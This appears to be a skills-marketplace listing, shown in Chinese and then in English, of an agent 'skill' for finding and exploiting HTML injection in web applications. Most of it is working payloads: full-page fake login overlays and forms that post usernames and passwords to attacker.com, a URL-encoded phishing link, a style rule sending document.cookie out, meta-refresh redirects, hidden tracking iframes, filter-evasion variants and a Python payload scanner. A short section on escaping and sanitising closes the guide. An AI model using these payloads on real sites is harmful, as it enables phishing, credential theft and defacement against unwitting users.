HTML Injection Testing by automindtechnologie-jpg/ultimate-skill.md
npx skills add https://github.com/automindtechnologie-jpg/ultimate-skill.md --skill 'HTML Injection Testing'识别并利用 HTML 注入漏洞,这些漏洞允许攻击者将恶意的 HTML 内容注入到 Web 应用程序中。此漏洞使攻击者能够修改页面外观、创建钓鱼页面并通过注入的表单窃取用户凭据。
当用户输入未经适当净化即被反映在网页中时,就会发生 HTML 注入:
<!-- 易受攻击的代码示例 -->
<div>
Welcome, <?php echo $_GET['name']; ?>
</div>
<!-- 攻击输入 -->
?name=<h1>Injected Content</h1>
<!-- 渲染输出 -->
<div>
Welcome, <h1>Injected Content</h1>
</div>
与 XSS 的主要区别:
攻击目标:
映射应用程序以寻找潜在的注入面:
1. 搜索栏和搜索结果
2. 评论区域
3. 用户资料字段
4. 联系表单和反馈
5. 注册表单
6. 页面上反映的 URL 参数
7. 错误消息
8. 页面标题和页眉
9. 隐藏表单字段
10. 页面上反映的 Cookie 值
常见的易受攻击参数:
?name=
?user=
?search=
?query=
?message=
?title=
?content=
?redirect=
?url=
?page=
使用简单的 HTML 标签进行测试:
<!-- 基础文本格式化 -->
<h1>Test Injection</h1>
<b>Bold Text</b>
<i>Italic Text</i>
<u>Underlined Text</u>
<font color="red">Red Text</font>
<!-- 结构元素 -->
<div style="background:red;color:white;padding:10px">Injected DIV</div>
<p>Injected paragraph</p>
<br><br><br>Line breaks
<!-- 链接 -->
<a href="http://attacker.com">Click Here</a>
<a href="http://attacker.com">Legitimate Link</a>
<!-- 图像 -->
<img src="http://attacker.com/image.png">
<img src="x" onerror="alert(1)"> <!-- XSS 尝试 -->
测试工作流程:
# 测试基础注入
curl "http://target.com/search?q=<h1>Test</h1>"
# 检查 HTML 是否在响应中渲染
curl -s "http://target.com/search?q=<b>Bold</b>" | grep -i "bold"
# 测试 URL 编码形式
curl "http://target.com/search?q=%3Ch1%3ETest%3C%2Fh1%3E"
有效载荷持久存储在数据库中:
<!-- 个人资料简介注入 -->
Name: John Doe
Bio: <div style="position:absolute;top:0;left:0;width:100%;height:100%;background:white;">
<h1>Site Under Maintenance</h1>
<p>Please login at <a href="http://attacker.com/login">portal.company.com</a></p>
</div>
<!-- 评论注入 -->
Great article!
<form action="http://attacker.com/steal" method="POST">
<input name="username" placeholder="Session expired. Enter username:">
<input name="password" type="password" placeholder="Password:">
<input type="submit" value="Login">
</form>
有效载荷在 URL 参数中:
<!-- URL 注入 -->
http://target.com/welcome?name=<h1>Welcome%20Admin</h1><form%20action="http://attacker.com/steal">
<!-- 搜索结果注入 -->
http://target.com/search?q=<marquee>Your%20account%20has%20been%20compromised</marquee>
有效载荷在 POST 数据中:
# POST 注入测试
curl -X POST -d "comment=<div style='color:red'>Malicious Content</div>" \
http://target.com/submit
# 表单字段注入
curl -X POST -d "name=<script>alert(1)</script>&email=test@test.com" \
http://target.com/register
注入到显示的 URL 中:
<!-- 如果 URL 显示在页面上 -->
http://target.com/page/<h1>Injected</h1>
<!-- 基于路径的注入 -->
http://target.com/users/<img src=x>/profile
创建有说服力的钓鱼表单:
<!-- 虚假登录表单覆盖层 -->
<div style="position:fixed;top:0;left:0;width:100%;height:100%;
background:white;z-index:9999;padding:50px;">
<h2>Session Expired</h2>
<p>Your session has expired. Please log in again.</p>
<form action="http://attacker.com/capture" method="POST">
<label>Username:</label><br>
<input type="text" name="username" style="width:200px;"><br><br>
<label>Password:</label><br>
<input type="password" name="password" style="width:200px;"><br><br>
<input type="submit" value="Login">
</form>
</div>
<!-- 隐藏的凭据窃取器 -->
<style>
input { background: url('http://attacker.com/log?data=') }
</style>
<form action="http://attacker.com/steal" method="POST">
<input name="user" placeholder="Verify your username">
<input name="pass" type="password" placeholder="Verify your password">
<button>Verify</button>
</form>
URL 编码的钓鱼链接:
http://target.com/page?msg=%3Cdiv%20style%3D%22position%3Afixed%3Btop%3A0%3Bleft%3A0%3Bwidth%3A100%25%3Bheight%3A100%25%3Bbackground%3Awhite%3Bz-index%3A9999%3Bpadding%3A50px%3B%22%3E%3Ch2%3ESession%20Expired%3C%2Fh2%3E%3Cform%20action%3D%22http%3A%2F%2Fattacker.com%2Fcapture%22%3E%3Cinput%20name%3D%22user%22%20placeholder%3D%22Username%22%3E%3Cinput%20name%3D%22pass%22%20type%3D%22password%22%3E%3Cbutton%3ELogin%3C%2Fbutton%3E%3C%2Fform%3E%3C%2Fdiv%3E
网站外观操控:
<!-- 全页覆盖层 -->
<div style="position:fixed;top:0;left:0;width:100%;height:100%;
background:#000;color:#0f0;z-index:9999;
display:flex;justify-content:center;align-items:center;">
<h1>HACKED BY SECURITY TESTER</h1>
</div>
<!-- 内容替换 -->
<style>body{display:none}</style>
<body style="display:block !important">
<h1>This site has been compromised</h1>
</body>
<!-- 图像注入 -->
<img src="http://attacker.com/defaced.jpg"
style="position:fixed;top:0;left:0;width:100%;height:100%;z-index:9999">
<!-- 跑马灯注入(可见移动) -->
<marquee behavior="alternate" style="font-size:50px;color:red;">
SECURITY VULNERABILITY DETECTED
</marquee>
<!-- 样式注入 -->
<style>
body { background: url('http://attacker.com/track?cookie='+document.cookie) }
.content { display: none }
.fake-content { display: block }
</style>
<!-- 内联样式注入 -->
<div style="background:url('http://attacker.com/log')">Content</div>
<!-- 通过 meta refresh 重定向 -->
<meta http-equiv="refresh" content="0;url=http://attacker.com/phish">
<!-- CSP 绕过尝试 -->
<meta http-equiv="Content-Security-Policy" content="default-src *">
<!-- 劫持现有表单 -->
<form action="http://attacker.com/steal">
<!-- 如果表单已存在,添加输入 -->
<input type="hidden" name="extra" value="data">
</form>
<!-- 嵌入外部内容 -->
<iframe src="http://attacker.com/malicious" width="100%" height="500"></iframe>
<!-- 不可见的跟踪 iframe -->
<iframe src="http://attacker.com/track" style="display:none"></iframe>
规避基础过滤器:
<!-- 大小写变体 -->
<H1>Test</H1>
<ScRiPt>alert(1)</ScRiPt>
<!-- 编码变体 -->
<h1>Encoded</h1>
%3Ch1%3EURL%20Encoded%3C%2Fh1%3E
<!-- 标签分割 -->
<h
1>Split Tag</h1>
<!-- 空字节 -->
<h1%00>Null Byte</h1>
<!-- 双重编码 -->
%253Ch1%253EDouble%2520Encoded%253C%252Fh1%253E
<!-- Unicode 编码 -->
\u003ch1\u003eUnicode\u003c/h1\u003e
<!-- 基于属性的 -->
<div onmouseover="alert(1)">Hover me</div>
<img src=x onerror=alert(1)>
1. 捕获包含潜在注入点的请求
2. 发送到 Intruder
3. 将参数值标记为有效载荷位置
4. 加载 HTML 注入字典
5. 开始攻击
6. 过滤响应以查找渲染的 HTML
7. 手动验证成功的注入
1. 爬取目标应用程序
2. 使用 HTML 注入规则进行主动扫描
3. 审查警报中的注入发现
4. 手动验证发现
#!/usr/bin/env python3
import requests
import urllib.parse
target = "http://target.com/search"
param = "q"
payloads = [
"<h1>Test</h1>",
"<b>Bold</b>",
"<script>alert(1)</script>",
"<img src=x onerror=alert(1)>",
"<a href='http://evil.com'>Click</a>",
"<div style='color:red'>Styled</div>",
"<marquee>Moving</marquee>",
"<iframe src='http://evil.com'></iframe>",
]
for payload in payloads:
encoded = urllib.parse.quote(payload)
url = f"{target}?{param}={encoded}"
try:
response = requests.get(url, timeout=5)
if payload.lower() in response.text.lower():
print(f"[+] Possible injection: {payload}")
elif "<h1>" in response.text or "<b>" in response.text:
print(f"[?] Partial reflection: {payload}")
except Exception as e:
print(f"[-] Error: {e}")
安全编码实践:
// PHP: 转义输出
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
// PHP: 剥离标签
echo strip_tags($user_input);
// PHP: 仅允许特定标签
echo strip_tags($user_input, '<p><b><i>');
# Python: HTML 转义
from html import escape
safe_output = escape(user_input)
# Python Flask: 自动转义
{{ user_input }} # Jinja2 默认转义
{{ user_input | safe }} # 标记为安全(危险!)
// JavaScript: 文本内容(安全)
element.textContent = userInput;
// JavaScript: innerHTML(危险!)
element.innerHTML = userInput; // 易受攻击!
// JavaScript: 净化
const clean = DOMPurify.sanitize(userInput);
element.innerHTML = clean;
服务器端防护:
| 有效载荷 | 目的 |
|---|---|
<h1>Test</h1> | 基础渲染测试 |
<b>Bold</b> | 简单格式化 |
<a href="evil.com">Link</a> | 链接注入 |
<img src=x> | 图像标签测试 |
<div style="color:red"> | 样式注入 |
<form action="evil.com"> | 表单劫持 |
| 上下文 | 测试方法 |
|---|---|
| URL 参数 | ?param=<h1>test</h1> |
| 表单字段 | 使用 HTML 有效载荷的 POST |
| Cookie 值 | 通过 document.cookie 注入 |
| HTTP 头部 | 在 Referer/User-Agent 中注入 |
| 文件上传 | 包含恶意内容的 HTML 文件 |
| 类型 | 示例 |
|---|---|
| URL 编码 | %3Ch1%3E = <h1> |
| HTML 实体 | <h1> = <h1> |
| 双重编码 | %253C = < |
| Unicode | \u003c = < |
| 问题 | 解决方案 |
|---|---|
| HTML 未渲染 | 检查输出是否经过 HTML 编码;尝试编码变体;验证 HTML 上下文 |
| 有效载荷被剥离 | 使用编码变体;尝试标签分割;测试空字节;嵌套标签 |
| XSS 不工作(仅 HTML) | JS 被过滤但 HTML 允许;利用钓鱼表单、meta refresh 重定向 |
每周安装量
0
仓库
首次出现
1970年1月1日
安全审计
Identify and exploit HTML injection vulnerabilities that allow attackers to inject malicious HTML content into web applications. This vulnerability enables attackers to modify page appearance, create phishing pages, and steal user credentials through injected forms.
HTML injection occurs when user input is reflected in web pages without proper sanitization:
<!-- Vulnerable code example -->
<div>
Welcome, <?php echo $_GET['name']; ?>
</div>
<!-- Attack input -->
?name=<h1>Injected Content</h1>
<!-- Rendered output -->
<div>
Welcome, <h1>Injected Content</h1>
</div>
广告位招租
在这里展示您的产品或服务
触达数万 AI 开发者,精准高效
Key differences from XSS:
Attack goals:
Map application for potential injection surfaces:
1. Search bars and search results
2. Comment sections
3. User profile fields
4. Contact forms and feedback
5. Registration forms
6. URL parameters reflected on page
7. Error messages
8. Page titles and headers
9. Hidden form fields
10. Cookie values reflected on page
Common vulnerable parameters:
?name=
?user=
?search=
?query=
?message=
?title=
?content=
?redirect=
?url=
?page=
Test with simple HTML tags:
<!-- Basic text formatting -->
<h1>Test Injection</h1>
<b>Bold Text</b>
<i>Italic Text</i>
<u>Underlined Text</u>
<font color="red">Red Text</font>
<!-- Structural elements -->
<div style="background:red;color:white;padding:10px">Injected DIV</div>
<p>Injected paragraph</p>
<br><br><br>Line breaks
<!-- Links -->
<a href="http://attacker.com">Click Here</a>
<a href="http://attacker.com">Legitimate Link</a>
<!-- Images -->
<img src="http://attacker.com/image.png">
<img src="x" onerror="alert(1)"> <!-- XSS attempt -->
Testing workflow:
# Test basic injection
curl "http://target.com/search?q=<h1>Test</h1>"
# Check if HTML renders in response
curl -s "http://target.com/search?q=<b>Bold</b>" | grep -i "bold"
# Test in URL-encoded form
curl "http://target.com/search?q=%3Ch1%3ETest%3C%2Fh1%3E"
Payload persists in database:
<!-- Profile bio injection -->
Name: John Doe
Bio: <div style="position:absolute;top:0;left:0;width:100%;height:100%;background:white;">
<h1>Site Under Maintenance</h1>
<p>Please login at <a href="http://attacker.com/login">portal.company.com</a></p>
</div>
<!-- Comment injection -->
Great article!
<form action="http://attacker.com/steal" method="POST">
<input name="username" placeholder="Session expired. Enter username:">
<input name="password" type="password" placeholder="Password:">
<input type="submit" value="Login">
</form>
Payload in URL parameters:
<!-- URL injection -->
http://target.com/welcome?name=<h1>Welcome%20Admin</h1><form%20action="http://attacker.com/steal">
<!-- Search result injection -->
http://target.com/search?q=<marquee>Your%20account%20has%20been%20compromised</marquee>
Payload in POST data:
# POST injection test
curl -X POST -d "comment=<div style='color:red'>Malicious Content</div>" \
http://target.com/submit
# Form field injection
curl -X POST -d "name=<script>alert(1)</script>&email=test@test.com" \
http://target.com/register
Inject into displayed URLs:
<!-- If URL is displayed on page -->
http://target.com/page/<h1>Injected</h1>
<!-- Path-based injection -->
http://target.com/users/<img src=x>/profile
Create convincing phishing forms:
<!-- Fake login form overlay -->
<div style="position:fixed;top:0;left:0;width:100%;height:100%;
background:white;z-index:9999;padding:50px;">
<h2>Session Expired</h2>
<p>Your session has expired. Please log in again.</p>
<form action="http://attacker.com/capture" method="POST">
<label>Username:</label><br>
<input type="text" name="username" style="width:200px;"><br><br>
<label>Password:</label><br>
<input type="password" name="password" style="width:200px;"><br><br>
<input type="submit" value="Login">
</form>
</div>
<!-- Hidden credential stealer -->
<style>
input { background: url('http://attacker.com/log?data=') }
</style>
<form action="http://attacker.com/steal" method="POST">
<input name="user" placeholder="Verify your username">
<input name="pass" type="password" placeholder="Verify your password">
<button>Verify</button>
</form>
URL-encoded phishing link:
http://target.com/page?msg=%3Cdiv%20style%3D%22position%3Afixed%3Btop%3A0%3Bleft%3A0%3Bwidth%3A100%25%3Bheight%3A100%25%3Bbackground%3Awhite%3Bz-index%3A9999%3Bpadding%3A50px%3B%22%3E%3Ch2%3ESession%20Expired%3C%2Fh2%3E%3Cform%20action%3D%22http%3A%2F%2Fattacker.com%2Fcapture%22%3E%3Cinput%20name%3D%22user%22%20placeholder%3D%22Username%22%3E%3Cinput%20name%3D%22pass%22%20type%3D%22password%22%3E%3Cbutton%3ELogin%3C%2Fbutton%3E%3C%2Fform%3E%3C%2Fdiv%3E
Website appearance manipulation:
<!-- Full page overlay -->
<div style="position:fixed;top:0;left:0;width:100%;height:100%;
background:#000;color:#0f0;z-index:9999;
display:flex;justify-content:center;align-items:center;">
<h1>HACKED BY SECURITY TESTER</h1>
</div>
<!-- Content replacement -->
<style>body{display:none}</style>
<body style="display:block !important">
<h1>This site has been compromised</h1>
</body>
<!-- Image injection -->
<img src="http://attacker.com/defaced.jpg"
style="position:fixed;top:0;left:0;width:100%;height:100%;z-index:9999">
<!-- Marquee injection (visible movement) -->
<marquee behavior="alternate" style="font-size:50px;color:red;">
SECURITY VULNERABILITY DETECTED
</marquee>
<!-- Style injection -->
<style>
body { background: url('http://attacker.com/track?cookie='+document.cookie) }
.content { display: none }
.fake-content { display: block }
</style>
<!-- Inline style injection -->
<div style="background:url('http://attacker.com/log')">Content</div>
<!-- Redirect via meta refresh -->
<meta http-equiv="refresh" content="0;url=http://attacker.com/phish">
<!-- CSP bypass attempt -->
<meta http-equiv="Content-Security-Policy" content="default-src *">
<!-- Hijack existing form -->
<form action="http://attacker.com/steal">
<!-- If form already exists, add input -->
<input type="hidden" name="extra" value="data">
</form>
<!-- Embed external content -->
<iframe src="http://attacker.com/malicious" width="100%" height="500"></iframe>
<!-- Invisible tracking iframe -->
<iframe src="http://attacker.com/track" style="display:none"></iframe>
Evade basic filters:
<!-- Case variations -->
<H1>Test</H1>
<ScRiPt>alert(1)</ScRiPt>
<!-- Encoding variations -->
<h1>Encoded</h1>
%3Ch1%3EURL%20Encoded%3C%2Fh1%3E
<!-- Tag splitting -->
<h
1>Split Tag</h1>
<!-- Null bytes -->
<h1%00>Null Byte</h1>
<!-- Double encoding -->
%253Ch1%253EDouble%2520Encoded%253C%252Fh1%253E
<!-- Unicode encoding -->
\u003ch1\u003eUnicode\u003c/h1\u003e
<!-- Attribute-based -->
<div onmouseover="alert(1)">Hover me</div>
<img src=x onerror=alert(1)>
1. Capture request with potential injection point
2. Send to Intruder
3. Mark parameter value as payload position
4. Load HTML injection wordlist
5. Start attack
6. Filter responses for rendered HTML
7. Manually verify successful injections
1. Spider the target application
2. Active Scan with HTML injection rules
3. Review Alerts for injection findings
4. Validate findings manually
#!/usr/bin/env python3
import requests
import urllib.parse
target = "http://target.com/search"
param = "q"
payloads = [
"<h1>Test</h1>",
"<b>Bold</b>",
"<script>alert(1)</script>",
"<img src=x onerror=alert(1)>",
"<a href='http://evil.com'>Click</a>",
"<div style='color:red'>Styled</div>",
"<marquee>Moving</marquee>",
"<iframe src='http://evil.com'></iframe>",
]
for payload in payloads:
encoded = urllib.parse.quote(payload)
url = f"{target}?{param}={encoded}"
try:
response = requests.get(url, timeout=5)
if payload.lower() in response.text.lower():
print(f"[+] Possible injection: {payload}")
elif "<h1>" in response.text or "<b>" in response.text:
print(f"[?] Partial reflection: {payload}")
except Exception as e:
print(f"[-] Error: {e}")
Secure coding practices:
// PHP: Escape output
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
// PHP: Strip tags
echo strip_tags($user_input);
// PHP: Allow specific tags only
echo strip_tags($user_input, '<p><b><i>');
# Python: HTML escape
from html import escape
safe_output = escape(user_input)
# Python Flask: Auto-escaping
{{ user_input }} # Jinja2 escapes by default
{{ user_input | safe }} # Marks as safe (dangerous!)
// JavaScript: Text content (safe)
element.textContent = userInput;
// JavaScript: innerHTML (dangerous!)
element.innerHTML = userInput; // Vulnerable!
// JavaScript: Sanitize
const clean = DOMPurify.sanitize(userInput);
element.innerHTML = clean;
Server-side protections:
| Payload | Purpose |
|---|---|
<h1>Test</h1> | Basic rendering test |
<b>Bold</b> | Simple formatting |
<a href="evil.com">Link</a> | Link injection |
<img src=x> | Image tag test |
<div style="color:red"> | Style injection |
<form action="evil.com"> | Form hijacking |
| Context | Test Approach |
|---|---|
| URL parameter | ?param=<h1>test</h1> |
| Form field | POST with HTML payload |
| Cookie value | Inject via document.cookie |
| HTTP header | Inject in Referer/User-Agent |
| File upload | HTML file with malicious content |
| Type | Example |
|---|---|
| URL encoding | %3Ch1%3E = <h1> |
| HTML entities | <h1> = <h1> |
| Double encoding | %253C = < |
| Unicode | \u003c = < |
| Issue | Solutions |
|---|---|
| HTML not rendering | Check if output HTML-encoded; try encoding variations; verify HTML context |
| Payload stripped | Use encoding variations; try tag splitting; test null bytes; nested tags |
| XSS not working (HTML only) | JS filtered but HTML allowed; leverage phishing forms, meta refresh redirects |
Weekly Installs
0
Repository
First Seen
Jan 1, 1970
Security Audits
xdrop 文件传输脚本:Bun 环境下安全上传下载工具,支持加密分享
24,700 周安装